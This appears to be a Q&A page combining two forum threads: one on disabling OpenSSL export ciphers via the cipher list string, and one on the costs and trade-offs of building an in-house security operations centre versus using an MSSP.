I am using the string "kEDH:ALL:!ADH:!DES:!LOW:!EXPORT40:+SSLv2:@STRENGTH" with SSL_CTX_set_cipher_list() which disables EXPORT40 or export ciphers of 40-bit key length.

Also, Export56 is disabled by default from OpenSSL 0.9.8c and disables export ciphers of 56-bit key length

How do I disable other EXPORT ciphers which are part of TLS v1.0 and 'Export 1024' ciphers?

you can add !EXPORT in place to :!EXPORT40  it will disable all export cipher

this link may provide much more information about Freak & Export cipher
http://openssl.6102.n7.nabble.com/openssl-users-How-to-disable-all-EXPORT-Ciphers-td56861.html


Setting up own enterprise SOC the other day I was talking with a service provider (MSSP) who have experience with operating SOC (security operations centre) 24x7. Their price was rather steep (in the millions range). I don't understand why it would be so steep. My impression of a SOC is :

a) getting a log collector such as HP arcsight
b) implement IDS on different locations, eg snort which is low cost.
c) forward the logs from these IDS (and other devices) to Arcsight
d) Let ARcsight do the magic of correlating events.
e) 2-3 Analysts on the Arcsight console monitoring 24x7 (on shifts) and
   doing incident response. this I could probably do in-sourcing as I don't
   have the staff to do this.the console could use vmware or some other
   virtual technology, thus I save on the hardware cost?

With the above, I don't think my SOC would cost in the millions. Or is setting up an SOC really not that simple?

Disadvantage I can think of when using MSSP:

a) Lack of resource to monitor full time as MSSP may use shared resources for different clients
b) Slow response to incident?
c) Could not customize the way I want to run the show

What are your thoughts of engaging MSSP? What other things do I need to consider if I wish to set up my own low cost SOC?

thank you

A tool like HP ArcSight can be customized very deeply, and just writing the right use cases and rules to correlate relevant events and alert on meaningful incidents, is super hard. Many organizations fail miserably implementing ArcSight.

Just getting raw logs through connectors to logger and then to ESM, and then writing use cases is a project that depending on the size and bandwidth of your network can cost from $100K to $3M.

But once it is up and running, now part of the SOC daily routine is to look into the alerts and tune the tool to avoid too many false positives; it involves revising the rules and use cases. For the first six months, if you do not have the right resources, you may only see red dashboard full of alerts that you don't know which one to pay attention to.

When an incident happens, a world-class SOC has a well defined triage, investigation, and escalation process to handle it, with at least 2 tiers of analysts. A 24x7 SOC should respond in near real time, and take appropriate actions against the attacks that was detected.

Usually, these tiers are security experts, which are expensive, and rotating in shifts make it even more expensive. The service must be reliable, which requires lots of redundancy. They also should do the threat intelligence gathering and research on the new trends in cyber attacks for you. These are expertise that are rare and expensive.

But just $1M per year for SOC is not reasonable. If you go to big players, because they use the economy of scale, they may offer a better deal.